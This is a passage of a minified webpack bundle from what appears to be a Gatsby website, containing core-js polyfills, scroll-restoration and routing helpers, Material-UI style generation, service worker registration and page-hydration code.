t,e=n("Iw71")("iframe"),r=i.length;for(e.style.display="none",n("+rLv").appendChild(e),e.src="javascript:",(t=e.contentWindow.document).open(),t.write("<script>document.F=Object<\/script>"),t.close(),u=t.F;r--;)delete u.prototype[i[r]];return u()};t.exports=Object.create||function(t,e){var n;return null!==t?(s.prototype=r(t),n=new s,s.prototype=null,n[a]=t):n=u(),void 0===e?n:o(n,e)}},L9s1:function(t,e,n){"use strict";var r=n("XKFU"),o=n("0sh+");r(r.P+r.F*n("UUeW")("includes"),"String",{includes:function(t){return!!~o(this,t,"includes").indexOf(t,arguments.length>1?arguments[1]:void 0)}})},LHMV:function(t,e,n){"use strict";n("LK8F"),n("rGqo"),n("yt8O"),n("Btvt"),n("RW0V"),n("8+KV"),e.__esModule=!0;var r=l(n("c0Fl")),o=l(n("raBC")),i=l(n("+i7v")),a=l(n("ZfQF")),s=l(n("q5+k")),u=l(n("QLaP")),c=n("OysZ");function l(t){return t&&t.__esModule?t:{default:t}}var f=2,p=function(){function t(e){var n=this,r=e.addTransitionHook,u=e.stateStorage,l=e.getCurrentLocation,p=e.shouldUpdateScroll;if(function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}(this,t),this._restoreScrollRestoration=function(){if(n._oldScrollRestoration)try{window.history.scrollRestoration=n._oldScrollRestoration}catch(t){}},this._onWindowScroll=function(){if(n._saveWindowPositionHandle||(n._saveWindowPositionHandle=(0,s.default)(n._saveWindowPosition)),n._windowScrollTarget){var t=n._windowScrollTarget,e=t[0],r=t[1],o=(0,i.default)(window),u=(0,a.default)(window);o===e&&u===r&&(n._windowScrollTarget=null,n._cancelCheckWindowScroll())}},this._saveWindowPosition=function(){n._saveWindowPositionHandle=null,n._savePosition(null,window)},this._checkWindowScrollPosition=function(){n._checkWindowScrollHandle=null,n._windowScrollTarget&&(n.scrollToTarget(window,n._windowScrollTarget),++n._numWindowScrollAttempts,n._numWindowScrollAttempts>=f?n._windowScrollTarget=null:n._checkWindowScrollHandle=(0,s.default)(n._checkWindowScrollPosition))},this._stateStorage=u,this._getCurrentLocation=l,this._shouldUpdateScroll=p,"scrollRestoration"in window.history&&!(0,c.isMobileSafari)()){this._oldScrollRestoration=window.history.scrollRestoration;try{window.history.scrollRestoration="manual",(0,o.default)(window,"beforeunload",this._restoreScrollRestoration)}catch(h){this._oldScrollRestoration=null}}else this._oldScrollRestoration=null;this._saveWindowPositionHandle=null,this._checkWindowScrollHandle=null,this._windowScrollTarget=null,this._numWindowScrollAttempts=0,this._scrollElements={},(0,o.default)(window,"scroll",this._onWindowScroll),this._removeTransitionHook=r((function(){s.default.cancel(n._saveWindowPositionHandle),n._saveWindowPositionHandle=null,Object.keys(n._scrollElements).forEach((function(t){var e=n._scrollElements[t];s.default.cancel(e.savePositionHandle),e.savePositionHandle=null,n._saveElementPosition(t)}))}))}return t.prototype.registerElement=function(t,e,n,r){var i=this;this._scrollElements[t]&&(0,u.default)(!1);var a=function(){i._saveElementPosition(t)},c={element:e,shouldUpdateScroll:n,savePositionHandle:null,onScroll:function(){c.savePositionHandle||(c.savePositionHandle=(0,s.default)(a))}};this._scrollElements[t]=c,(0,o.default)(e,"scroll",c.onScroll),this._updateElementScroll(t,null,r)},t.prototype.unregisterElement=function(t){this._scrollElements[t]||(0,u.default)(!1);var e=this._scrollElements[t],n=e.element,o=e.onScroll,i=e.savePositionHandle;(0,r.default)(n,"scroll",o),s.default.cancel(i),delete this._scrollElements[t]},t.prototype.updateScroll=function(t,e){var n=this;this._updateWindowScroll(t,e),Object.keys(this._scrollElements).forEach((function(r){n._updateElementScroll(r,t,e)}))},t.prototype.stop=function(){this._restoreScrollRestoration(),(0,r.default)(window,"scroll",this._onWindowScroll),this._cancelCheckWindowScroll(),this._removeTransitionHook()},t.prototype._cancelCheckWindowScroll=function(){s.default.cancel(this._checkWindowScrollHandle),this._checkWindowScrollHandle=null},t.prototype._saveElementPosition=function(t){var e=this._scrollElements[t];e.savePositionHandle=null,this._savePosition(t,e.element)},t.prototype._savePosition=function(t,e){this._stateStorage.save(this._getCurrentLocation(),t,[(0,i.default)(e),(0,a.default)(e)])},t.prototype._updateWindowScroll=function(t,e){this._cancelCheckWindowScroll(),this._windowScrollTarget=this._getScrollTarget(null,this._shouldUpdateScroll,t,e),this._numWindowScrollAttempts=0,this._checkWindowScrollPosition()},t.prototype._updateElementScroll=function(t,e,n){var r=this._scrollElements[t],o=r.element,i=r.shouldUpdateScroll,a=this._getScrollTarget(t,i,e,n);a&&this.scrollToTarget(o,a)},t.prototype._getDefaultScrollTarget=function(t){var e=t.hash;return e&&"#"!==e?"#"===e.charAt(0)?e.slice(1):e:[0,0]},t.prototype._getScrollTarget=function(t,e,n,r){var o=!e||e.call(this,n,r);if(!o||Array.isArray(o)||"string"==typeof o)return o;var i=this._getCurrentLocation();return this._getSavedScrollTarget(t,i)||this._getDefaultScrollTarget(i)},t.prototype._getSavedScrollTarget=function(t,e){return"PUSH"===e.action?null:this._stateStorage.read(e,t)},t.prototype.scrollToTarget=function(t,e){if("string"==typeof e){var n=document.getElementById(e)||document.getElementsByName(e)[0];if(n)return void n.scrollIntoView();e=[0,0]}var r=e,o=r[0],s=r[1];(0,i.default)(t,o),(0,a.default)(t,s)},t}();e.default=p,t.exports=e.default},LK8F:function(t,e,n){var r=n("XKFU");r(r.S,"Array",{isArray:n("EWmC")})},LQAc:function(t,e){t.exports=!1},LUQC:function(t,e,n){"use strict";var r=!0;e.a=function(t,e){if(!r){if(t)return;var n="Warning: "+e;"undefined"!=typeof console&&console.warn(n);try{throw Error(n)}catch(o){}}}},LYrO:function(t,e,n){"use strict";n.d(e,"e",(function(){return i})),n.d(e,"c",(function(){return a})),n.d(e,"b",(function(){return s})),n.d(e,"d",(function(){return u})),n.d(e,"a",(function(){return c})),n.d(e,"f",(function(){return l}));n("pIFo"),n("DNiP"),n("0l/t"),n("Vd3H"),n("V+eJ"),n("bWfx"),n("KKXr");var r=n("QLaP"),o=n.n(r),i=function(t,e){return t.substr(0,e.length)===e},a=function(t,e){for(var n=void 0,r=void 0,i=e.split("?")[0],a=v(i),s=""===a[0],u=d(t),c=0,l=u.length;c<l;c++){var p=!1,h=u[c].route;if(h.default)r={route:h,params:{},uri:e};else{for(var y=v(h.path),m={},b=Math.max(a.length,y.length),w=0;w<b;w++){var S=y[w],x=a[w];if("*"===S){m["*"]=a.slice(w).map(decodeURIComponent).join("/");break}if(void 0===x){p=!0;break}var O=f.exec(S);if(O&&!s){-1===g.indexOf(O[1])||o()(!1);var P=decodeURIComponent(x);m[O[1]]=P}else if(S!==x){p=!0;break}}if(!p){n={route:h,params:m,uri:"/"+a.slice(0,w).join("/")};break}}}return n||r||null},s=function(t,e){return a([{path:t}],e)},u=function(t,e){if(i(t,"/"))return t;var n=t.split("?"),r=n[0],o=n[1],a=e.split("?")[0],s=v(r),u=v(a);if(""===s[0])return y(a,o);if(!i(s[0],".")){var c=u.concat(s).join("/");return y(("/"===a?"":"/")+c,o)}for(var l=u.concat(s),f=[],p=0,h=l.length;p<h;p++){var d=l[p];".."===d?f.pop():"."!==d&&f.push(d)}return y("/"+f.join("/"),o)},c=function(t,e){return"/"+v(t).map((function(t){var n=f.exec(t);return n?e[n[1]]:t})).join("/")},l=function(t,e){var n=function(t){return p(t)};return v(t).filter(n).sort().join("/")===v(e).filter(n).sort().join("/")},f=/^:(.+)/,p=function(t){return f.test(t)},h=function(t,e){return{route:t,score:t.default?0:v(t.path).reduce((function(t,e){return t+=4,!function(t){return""===t}(e)?p(e)?t+=2:!function(t){return"*"===t}(e)?t+=3:t-=5:t+=1,t}),0),index:e}},d=function(t){return t.map(h).sort((function(t,e){return t.score<e.score?1:t.score>e.score?-1:t.index-e.index}))},v=function(t){return t.replace(/(^\/+|\/+$)/g,"").split("/")},y=function(t,e){return t+(e?"?"+e:"")},g=["uri","path"]},LZWt:function(t,e){var n={}.toString;t.exports=function(t){return n.call(t).slice(8,-1)}},LeKB:function(t,e,n){t.exports=[{plugin:n("dIx5"),options:{plugins:[],stylesProvider:{injectFirst:!0}}}]},LyE8:function(t,e,n){"use strict";var r=n("eeVq");t.exports=function(t,e){return!!t&&r((function(){e?t.call(null,(function(){}),1):t.call(null)}))}},M6Qj:function(t,e,n){var r=n("hPIQ"),o=n("K0xU")("iterator"),i=Array.prototype;t.exports=function(t){return void 0!==t&&(r.Array===t||i[o]===t)}},MMVs:function(t,e,n){n("V+eJ"),t.exports=function(){var t=!1;-1!==navigator.appVersion.indexOf("MSIE 10")&&(t=!0);var e,n=[],r="object"==typeof document&&document,o=t?r.documentElement.doScroll():r.documentElement.doScroll,i=r&&(o?/^loaded|^c/:/^loaded|^i|^c/).test(r.readyState);return!i&&r&&r.addEventListener("DOMContentLoaded",e=function(){for(r.removeEventListener("DOMContentLoaded",e),i=1;e=n.shift();)e()}),function(t){i?setTimeout(t,0):n.push(t)}}()},MfQN:function(t,e){t.exports=function(t,e,n){var r=void 0===n;switch(e.length){case 0:return r?t():t.call(n);case 1:return r?t(e[0]):t.call(n,e[0]);case 2:return r?t(e[0],e[1]):t.call(n,e[0],e[1]);case 3:return r?t(e[0],e[1],e[2]):t.call(n,e[0],e[1],e[2]);case 4:return r?t(e[0],e[1],e[2],e[3]):t.call(n,e[0],e[1],e[2],e[3])}return t.apply(n,e)}},MgzW:function(t,e,n){"use strict";n("rGqo"),n("yt8O"),n("Btvt"),n("RW0V"),n("KKXr"),n("8+KV"),n("bWfx"),n("91GP"),n("ioFf");var r=Object.getOwnPropertySymbols,o=Object.prototype.hasOwnProperty,i=Object.prototype.propertyIsEnumerable;function a(t){if(null==t)throw new TypeError("Object.assign cannot be called with null or undefined");return Object(t)}t.exports=function(){try{if(!Object.assign)return!1;var t=new String("abc");if(t[5]="de","5"===Object.getOwnPropertyNames(t)[0])return!1;for(var e={},n=0;n<10;n++)e["_"+String.fromCharCode(n)]=n;if("0123456789"!==Object.getOwnPropertyNames(e).map((function(t){return e[t]})).join(""))return!1;var r={};return"abcdefghijklmnopqrst".split("").forEach((function(t){r[t]=t})),"abcdefghijklmnopqrst"===Object.keys(Object.assign({},r)).join("")}catch(o){return!1}}()?Object.assign:function(t,e){for(var n,s,u=a(t),c=1;c<arguments.length;c++){for(var l in n=Object(arguments[c]))o.call(n,l)&&(u[l]=n[l]);if(r){s=r(n);for(var f=0;f<s.length;f++)i.call(n,s[f])&&(u[s[f]]=n[s[f]])}}return u}},Mukb:function(t,e,n){var r=n("hswa"),o=n("RjD/");t.exports=n("nh4g")?function(t,e,n){return r.f(t,e,o(1,n))}:function(t,e,n){return t[e]=n,t}},N8g3:function(t,e,n){e.f=n("K0xU")},NSX3:function(t,e,n){"use strict";n.r(e);var r=n("xtsi");"https:"!==window.location.protocol&&"localhost"!==window.location.hostname?console.error("Service workers can only be used over HTTPS, or on localhost for development"):"serviceWorker"in navigator&&navigator.serviceWorker.register("/sw.js").then((function(t){t.addEventListener("updatefound",(function(){Object(r.apiRunner)("onServiceWorkerUpdateFound",{serviceWorker:t});var e=t.installing;console.log("installingWorker",e),e.addEventListener("statechange",(function(){switch(e.state){case"installed":navigator.serviceWorker.controller?(window.___swUpdated=!0,Object(r.apiRunner)("onServiceWorkerUpdateReady",{serviceWorker:t}),window.___failedResources&&(console.log("resources failed, SW updated - reloading"),window.location.reload())):(console.log("Content is now available offline!"),Object(r.apiRunner)("onServiceWorkerInstalled",{serviceWorker:t}));break;case"redundant":console.error("The installing service worker became redundant."),Object(r.apiRunner)("onServiceWorkerRedundant",{serviceWorker:t});break;case"activated":Object(r.apiRunner)("onServiceWorkerActive",{serviceWorker:t})}}))}))})).catch((function(t){console.error("Error during service worker registration:",t)}))},OEbY:function(t,e,n){n("nh4g")&&"g"!=/./g.flags&&n("hswa").f(RegExp.prototype,"flags",{configurable:!0,get:n("C/va")})},OG14:function(t,e,n){"use strict";var r=n("y3w9"),o=n("g6HL"),i=n("Xxuz");n("IU+Z")("search",1,(function(t,e,n,a){return[function(n){var r=t(this),o=null==n?void 0:n[e];return void 0!==o?o.call(n,r):new RegExp(n)[e](String(r))},function(t){var e=a(n,t,this);if(e.done)return e.value;var s=r(t),u=String(this),c=s.lastIndex;o(c,0)||(s.lastIndex=0);var l=i(s,u);return o(s.lastIndex,c)||(s.lastIndex=c),null===l?-1:l.index}]}))},OGtf:function(t,e,n){var r=n("XKFU"),o=n("eeVq"),i=n("vhPU"),a=/"/g,s=function(t,e,n,r){var o=String(i(t)),s="<"+e;return""!==n&&(s+=" "+n+'="'+String(r).replace(a,""")+'"'),s+">"+o+"</"+e+">"};t.exports=function(t,e){var n={};n[t]=e(s),r(r.P+r.F*o((function(){var e=""[t]('"');return e!==e.toLowerCase()||e.split('"').length>3})),"String",n)}},OKji:function(t,e,n){"use strict";var r=n("q1tI"),o=n.n(r).a.createContext(null);e.a=o},OP3Y:function(t,e,n){var r=n("aagx"),o=n("S/j/"),i=n("YTvA")("IE_PROTO"),a=Object.prototype;t.exports=Object.getPrototypeOf||function(t){return t=o(t),r(t,i)?t[i]:"function"==typeof t.constructor&&t instanceof t.constructor?t.constructor.prototype:t instanceof Object?a:null}},OnI7:function(t,e,n){var r=n("dyZX"),o=n("g3g5"),i=n("LQAc"),a=n("N8g3"),s=n("hswa").f;t.exports=function(t){var e=o.Symbol||(o.Symbol=i?{}:r.Symbol||{});"_"==t.charAt(0)||t in e||s(e,t,{value:a.f(t)})}},OysZ:function(t,e,n){"use strict";e.__esModule=!0,e.isMobileSafari=function(){return/iPad|iPhone|iPod/.test(window.navigator.platform)&&/^((?!CriOS).)*Safari/.test(window.navigator.userAgent)}},PJYZ:function(t,e){t.exports=function(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}},PRV4:function(t,e,n){"use strict";n.d(e,"a",(function(){return i}));n("tUrg"),n("V+eJ"),n("f3/d");var r=n("hfi/"),o=["checked","disabled","error","focused","focusVisible","required","expanded","selected"];function i(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},e=t.disableGlobal,n=void 0!==e&&e,i=t.productionPrefix,a=void 0===i?"jss":i,s=t.seed,u=void 0===s?"":s,c=""===u?"":"".concat(u,"-"),l=0;return function(t,e){l+=1;var i=e.options.name;if(i&&0===i.indexOf("Mui")&&!e.options.link&&!n){if(-1!==o.indexOf(t.key))return"Mui-".concat(t.key);var s="".concat(c).concat(i,"-").concat(t.key);return e.options.theme[r.a]&&""===u?"".concat(s,"-").concat(l):s}return"".concat(c).concat(a).concat(l)}}},QLaP:function(t,e,n){"use strict";n("f3/d"),n("pIFo");t.exports=function(t,e,n,r,o,i,a,s){if(!t){var u;if(void 0===e)u=new Error("Minified exception occurred; use the non-minified dev environment for the full error message and additional helpful warnings.");else{var c=[n,r,o,i,a,s],l=0;(u=new Error(e.replace(/%s/g,(function(){return c[l++]})))).name="Invariant Violation"}throw u.framesToPop=1,u}}},QaDb:function(t,e,n){"use strict";var r=n("Kuth"),o=n("RjD/"),i=n("fyDq"),a={};n("Mukb")(a,n("K0xU")("iterator"),(function(){return this})),t.exports=function(t,e,n){t.prototype=r(a,{next:o(1,n)}),i(t,e+" Iterator")}},RD7I:function(t,e,n){"use strict";n("f3/d");var r=n("Ff2n"),o=n("wx14"),i=n("q1tI"),a=n.n(i),s=n("/ceM"),u=n("XNZ3"),c=(n("rGqo"),n("yt8O"),n("Btvt"),n("XfO3"),n("9AAn"),{set:function(t,e,n,r){var o=t.get(e);o||(o=new Map,t.set(e,o)),o.set(n,r)},get:function(t,e,n){var r=t.get(e);return r?r.get(n):void 0},delete:function(t,e,n){t.get(e).delete(n)}}),l=n("aXM8"),f=n("o8Rm"),p=-1e9;n("RW0V"),n("8+KV"),n("U8pU");var h=n("2+6g");var d=function(t){var e="function"==typeof t;return{create:function(n,r){var i;try{i=e?t(n):t}catch(u){throw u}if(!r||!n.overrides||!n.overrides[r])return i;var a=n.overrides[r],s=Object(o.a)({},i);return Object.keys(a).forEach((function(t){s[t]=Object(h.a)(s[t],a[t])})),s},options:{}}},v={};function y(t,e,n){var r=t.state;if(t.stylesOptions.disableGeneration)return e||{};r.cacheClasses||(r.cacheClasses={value:null,lastProp:null,lastJSS:{}});var o=!1;return r.classes!==r.cacheClasses.lastJSS&&(r.cacheClasses.lastJSS=r.classes,o=!0),e!==r.cacheClasses.lastProp&&(r.cacheClasses.lastProp=e,o=!0),o&&(r.cacheClasses.value=Object(u.a)({baseClasses:r.cacheClasses.lastJSS,newClasses:e,Component:n})),r.cacheClasses.value}function g(t,e){var n=t.state,r=t.theme,i=t.stylesOptions,a=t.stylesCreator,l=t.name;if(!i.disableGeneration){var f=c.get(i.sheetsManager,a,r);f||(f={refs:0,staticSheet:null,dynamicStyles:null},c.set(i.sheetsManager,a,r,f));var p=Object(o.a)({},a.options,{},i,{theme:r,flip:"boolean"==typeof i.flip?i.flip:"rtl"===r.direction});p.generateId=p.serverGenerateClassName||p.generateClassName;var h=i.sheetsRegistry;if(0===f.refs){var d;i.sheetsCache&&(d=c.get(i.sheetsCache,a,r));var v=a.create(r,l);d||((d=i.jss.createStyleSheet(v,Object(o.a)({link:!1},p))).attach(),i.sheetsCache&&c.set(i.sheetsCache,a,r,d)),h&&h.add(d),f.staticSheet=d,f.dynamicStyles=Object(s.e)(v)}if(f.dynamicStyles){var y=i.jss.createStyleSheet(f.dynamicStyles,Object(o.a)({link:!0},p));y.update(e).attach(),n.dynamicSheet=y,n.classes=Object(u.a)({baseClasses:f.staticSheet.classes,newClasses:y.classes}),h&&h.add(y)}else n.classes=f.staticSheet.classes;f.refs+=1}}function m(t,e){var n=t.state;n.dynamicSheet&&n.dynamicSheet.update(e)}function b(t){var e=t.state,n=t.theme,r=t.stylesOptions,o=t.stylesCreator;if(!r.disableGeneration){var i=c.get(r.sheetsManager,o,n);i.refs-=1;var a=r.sheetsRegistry;0===i.refs&&(c.delete(r.sheetsManager,o,n),r.jss.removeStyleSheet(i.staticSheet),a&&a.remove(i.staticSheet)),e.dynamicSheet&&(r.jss.removeStyleSheet(e.dynamicSheet),a&&a.remove(e.dynamicSheet))}}function w(t,e){var n,r=a.a.useRef([]),o=a.a.useMemo((function(){return{}}),e);r.current!==o&&(r.current=o,n=t()),a.a.useEffect((function(){return function(){n&&n()}}),[o])}e.a=function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=e.name,i=e.classNamePrefix,s=e.Component,u=e.defaultTheme,c=void 0===u?v:u,h=Object(r.a)(e,["name","classNamePrefix","Component","defaultTheme"]),S=d(t),x=n||i||"makeStyles";return S.options={index:p+=1,name:n,meta:x,classNamePrefix:x},function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},e=Object(l.a)()||c,r=Object(o.a)({},a.a.useContext(f.a),{},h),i=a.a.useRef(),u=a.a.useRef();return w((function(){var o={name:n,state:{},stylesCreator:S,stylesOptions:r,theme:e};return g(o,t),u.current=!1,i.current=o,function(){b(o)}}),[e,S]),a.a.useEffect((function(){u.current&&m(i.current,t),u.current=!0})),y(i.current,t.classes,s)}}},RW0V:function(t,e,n){var r=n("S/j/"),o=n("DVgA");n("Xtr8")("keys",(function(){return function(t){return o(r(t))}}))},RYi7:function(t,e){var n=Math.ceil,r=Math.floor;t.exports=function(t){return isNaN(t=+t)?0:(t>0?r:n)(t)}},"RjD/":function(t,e){t.exports=function(t,e){return{enumerable:!(1&t),configurable:!(2&t),writable:!(4&t),value:e}}},"S/j/":function(t,e,n){var r=n("vhPU");t.exports=function(t){return Object(r(t))}},SRfc:function(t,e,n){"use strict";var r=n("y3w9"),o=n("ne8i"),i=n("A5AN"),a=n("Xxuz");n("IU+Z")("match",1,(function(t,e,n,s){return[function(n){var r=t(this),o=null==n?void 0:n[e];return void 0!==o?o.call(n,r):new RegExp(n)[e](String(r))},function(t){var e=s(n,t,this);if(e.done)return e.value;var u=r(t),c=String(this);if(!u.global)return a(u,c);var l=u.unicode;u.lastIndex=0;for(var f,p=[],h=0;null!==(f=a(u,c));){var d=String(f[0]);p[h]=d,""===d&&(u.lastIndex=i(c,o(u.lastIndex),l)),h++}return 0===h?null:p}]}))},SlkY:function(t,e,n){var r=n("m0Pp"),o=n("H6hf"),i=n("M6Qj"),a=n("y3w9"),s=n("ne8i"),u=n("J+6e"),c={},l={};(e=t.exports=function(t,e,n,f,p){var h,d,v,y,g=p?function(){return t}:u(t),m=r(n,f,e?2:1),b=0;if("function"!=typeof g)throw TypeError(t+" is not iterable!");if(i(g)){for(h=s(t.length);h>b;b++)if((y=e?m(a(d=t[b])[0],d[1]):m(t[b]))===c||y===l)return y}else for(v=g.call(t);!(d=v.next()).done;)if((y=o(v,m,d.value,e))===c||y===l)return y}).BREAK=c,e.RETURN=l},T39b:function(t,e,n){"use strict";var r=n("wmvG"),o=n("s5qY");t.exports=n("4LiD")("Set",(function(t){return function(){return t(this,arguments.length>0?arguments[0]:void 0)}}),{add:function(t){return r.def(o(this,"Set"),t=0===t?0:t,t)}},r)},TOwV:function(t,e,n){"use strict";t.exports=n("qT12")},TqRt:function(t,e){t.exports=function(t){return t&&t.__esModule?t:{default:t}}},Tze0:function(t,e,n){"use strict";n("qncB")("trim",(function(t){return function(){return t(this,3)}}))},U8pU:function(t,e,n){"use strict";function r(t){return(r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function o(t){return(o="function"==typeof Symbol&&"symbol"===r(Symbol.iterator)?function(t){return r(t)}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":r(t)})(t)}n.d(e,"a",(function(){return o}))},UExd:function(t,e,n){var r=n("nh4g"),o=n("DVgA"),i=n("aCFj"),a=n("UqcF").f;t.exports=function(t){return function(e){for(var n,s=i(e),u=o(s),c=u.length,l=0,f=[];c>l;)n=u[l++],r&&!a.call(s,n)||f.push(t?[n,s[n]]:s[n]);return f}}},UUeW:function(t,e,n){var r=n("K0xU")("match");t.exports=function(t){var e=/./;try{"/./"[t](e)}catch(n){try{return e[r]=!1,!"/./"[t](e)}catch(o){}}return!0}},Ugos:function(t,e,n){"use strict";var r,o,i=n("C/va"),a=RegExp.prototype.exec,s=String.prototype.replace,u=a,c=(r=/a/,o=/b*/g,a.call(r,"a"),a.call(o,"a"),0!==r.lastIndex||0!==o.lastIndex),l=void 0!==/()??/.exec("")[1];(c||l)&&(u=function(t){var e,n,r,o,u=this;return l&&(n=new RegExp("^"+u.source+"$(?!\\s)",i.call(u))),c&&(e=u.lastIndex),r=a.call(u,t),c&&r&&(u.lastIndex=u.global?r.index+r[0].length:e),l&&r&&r.length>1&&s.call(r[0],n,(function(){for(o=1;o<arguments.length-2;o++)void 0===arguments[o]&&(r[o]=void 0)})),r}),t.exports=u},UqcF:function(t,e){e.f={}.propertyIsEnumerable},UxWs:function(t,e,n){"use strict";n.r(e);n("OG14"),n("SRfc"),n("91GP");var r=n("xtsi"),o=n("q1tI"),i=n.n(o),a=n("i8i4"),s=n.n(a),u=n("YwZP"),c=n("7hJ6"),l=n("MMVs"),f=n.n(l),p=(n("pIFo"),n("emEt")),h=n("YLt+"),d=n("5yr3"),v=n("+ZDr");var y=h.reduce((function(t,e){return t[e.fromPath]=e,t}),{});function g(t){var e=y[t];return null!=e&&(window.___replace(e.toPath),!0)}var m=function(t,e){g(t.pathname)||Object(r.apiRunner)("onPreRouteUpdate",{location:t,prevLocation:e})},b=function(t,e){g(t.pathname)||(Object(r.apiRunner)("onRouteUpdate",{location:t,prevLocation:e}),window.__navigatingToLink=!1)},w=function(t,e){void 0===e&&(e={}),e.replace||(window.__navigatingToLink=!0);var n=Object(v.parsePath)(t).pathname,o=y[n];if(o&&(t=o.toPath,n=Object(v.parsePath)(t).pathname),window.___swUpdated)window.location=n;else{var i=setTimeout((function(){d.a.emit("onDelayedLoadPageResources",{pathname:n}),Object(r.apiRunner)("onRouteUpdateDelayed",{location:window.location})}),1e3);p.default.loadPage(n).then((function(r){r&&"error"!==r.status||(window.history.replaceState({},"",location.href),window.location=n),r&&r.page.webpackCompilationHash!==window.___webpackCompilationHash&&("serviceWorker"in navigator&&null!==navigator.serviceWorker.controller&&"activated"===navigator.serviceWorker.controller.state&&navigator.serviceWorker.controller.postMessage({gatsbyApi:"clearPathResources"}),console.log("Site has changed on server. Reloading browser"),window.location=n),Object(u.navigate)(t,e),clearTimeout(i)}))}};function S(t,e){var n=this,o=e.location,i=o.pathname,a=o.hash,s=Object(r.apiRunner)("shouldUpdateScroll",{prevRouterProps:t,pathname:i,routerProps:{location:o},getSavedScrollPosition:function(t){return n._stateStorage.read(t)}});if(s.length>0)return s[s.length-1];if(t&&t.location.pathname===i)return a?decodeURI(a.slice(1)):[0,0];return!0}var x=function(t){var e,n;function r(e){var n;return n=t.call(this,e)||this,m(e.location,null),n}n=t,(e=r).prototype=Object.create(n.prototype),e.prototype.constructor=e,e.__proto__=n;var o=r.prototype;return o.componentDidMount=function(){b(this.props.location,null)},o.componentDidUpdate=function(t,e,n){n&&b(this.props.location,t.location)},o.getSnapshotBeforeUpdate=function(t){return this.props.location.pathname!==t.location.pathname&&(m(this.props.location,t.location),!0)},o.render=function(){return this.props.children},r}(i.a.Component);var O=function(t){var e,n;function i(){return t.apply(this,arguments)||this}return n=t,(e=i).prototype=Object.create(n.prototype),e.prototype.constructor=e,e.__proto__=n,i.prototype.render=function(){var t=Object.assign({},this.props,{pathContext:this.props.pageContext}),e=Object(r.apiRunner)("replaceComponentRenderer",{props:this.props,loader:p.publicLoader})[0]||Object(o.createElement)(this.props.pageResources.component,Object.assign({},t,{key:this.props.path||this.props.pageResources.page.path}));return Object(r.apiRunner)("wrapPageElement",{element:e,props:t},e,(function(e){return{element:e.result,props:t}})).pop()},i}(i.a.Component),P=n("pCP8"),_=n.n(P);function j(t,e){for(var n in t)if(!(n in e))return!0;for(var r in e)if(t[r]!==e[r])return!0;return!1}var R=function(t){var e,n;function r(e){var n;n=t.call(this)||this;var r=e.location,o=e.pageResources;return n.state={location:Object.assign({},r),pageResources:o||p.default.loadPageSync(r.pathname)},n}n=t,(e=r).prototype=Object.create(n.prototype),e.prototype.constructor=e,e.__proto__=n,r.getDerivedStateFromProps=function(t,e){var n=t.location;return e.location.href!==n.href?{pageResources:p.default.loadPageSync(n.pathname),location:Object.assign({},n)}:{location:Object.assign({},n)}};var o=r.prototype;return o.loadResources=function(t){var e=this;p.default.loadPage(t).then((function(n){n&&"error"!==n.status?e.setState({location:Object.assign({},window.location),pageResources:n}):(window.history.replaceState({},"",location.href),window.location=t)}))},o.shouldComponentUpdate=function(t,e){return e.pageResources?this.state.pageResources!==e.pageResources||(this.state.pageResources.component!==e.pageResources.component||(this.state.pageResources.json!==e.pageResources.json||(!(this.state.location.key===e.location.key||!e.pageResources.page||!e.pageResources.page.matchPath&&!e.pageResources.page.path)||function(t,e,n){return j(t.props,e)||j(t.state,n)}(this,t,e)))):(this.loadResources(t.location.pathname),!1)},o.render=function(){return this.props.children(this.state)},r}(i.a.Component),E=n("cSJ8"),k=n("vf9c");var C=new p.ProdLoader(_.a,k);Object(p.setLoader)(C),C.setApiRunner(r.apiRunner),window.asyncRequires=_.a,window.___emitter=d.a,window.___loader=p.publicLoader,window.__navigatingToLink=!1,window.___push=function(t){return w(t,{replace:!1})},window.___replace=function(t){return w(t,{replace:!0})},window.___navigate=function(t,e){return w(t,e)},g(window.location.pathname),Object(r.apiRunnerAsync)("onClientEntry").then((function(){Object(r.apiRunner)("registerServiceWorker").length>0&&n("NSX3");var t=function(t){return i.a.createElement(u.BaseContext.Provider,{value:{baseuri:"/",basepath:"/"}},i.a.createElement(O,t))},e=function(e){var n,r;function o(){return e.apply(this,arguments)||this}return r=e,(n=o).prototype=Object.create(r.prototype),n.prototype.constructor=n,n.__proto__=r,o.prototype.render=function(){var e=this,n=this.props.location;return i.a.createElement(R,{location:n},(function(n){var r=n.pageResources,o=n.location;return i.a.createElement(x,{location:o},i.a.createElement(c.ScrollContext,{location:o,shouldUpdateScroll:S},i.a.createElement(u.Router,{basepath:"",location:o,id:"gatsby-focus-wrapper"},i.a.createElement(t,Object.assign({path:encodeURI("/404.html"===r.page.path?Object(E.a)(o.pathname,""):r.page.matchPath||r.page.path)},e.props,{location:o,pageResources:r},r.json)))))}))},o}(i.a.Component),o=window,a=o.pagePath,l=o.location;a&&""+a!==l.pathname&&!(C.findMatchPath(Object(E.a)(l.pathname,""))||"/404.html"===a||a.match(/^\/404\/?$/)||a.match(/^\/offline-plugin-app-shell-fallback\/?$/))&&Object(u.navigate)(""+a+l.search+l.hash,{replace:!0}),p.publicLoader.loadPage(l.pathname).then((function(t){if(!t||"error"===t.status)throw new Error("page resources for "+l.pathname+" not found. Not rendering React");window.___webpackCompilationHash=t.page.webpackCompilationHash;var n=function(){return i.a.createElement(u.Location,null,(function(t){return i.a.createElement(e,t)}))},o=Object(r.apiRunner)("wrapRootElement",{element:i.a.createElement(n,null)},i.a.createElement(n,null),(function(t){return{element:t.result}})).pop(),a=function(){return o},c=Object(r.apiRunner)("replaceHydrateFunction",void 0,s.a.hydrate)[0];f()((function(){c(i.a.createElement(a,null),"undefined"!=typeof window?document.getElementById("___gatsby"):void 0,(function(){Object(r.apiRunner)("onInitialClientRender")}))}))}))}))},"V+eJ":function(t,e,n){"use strict";var r=n("XKFU"),o=n("w2a5")(!1),i=[].indexOf,a=!!i&&1/[1].indexOf(1,-0)<0;r(r.P+r.F*(a||!n("LyE8")(i)),"Array",{indexOf:function(t){return 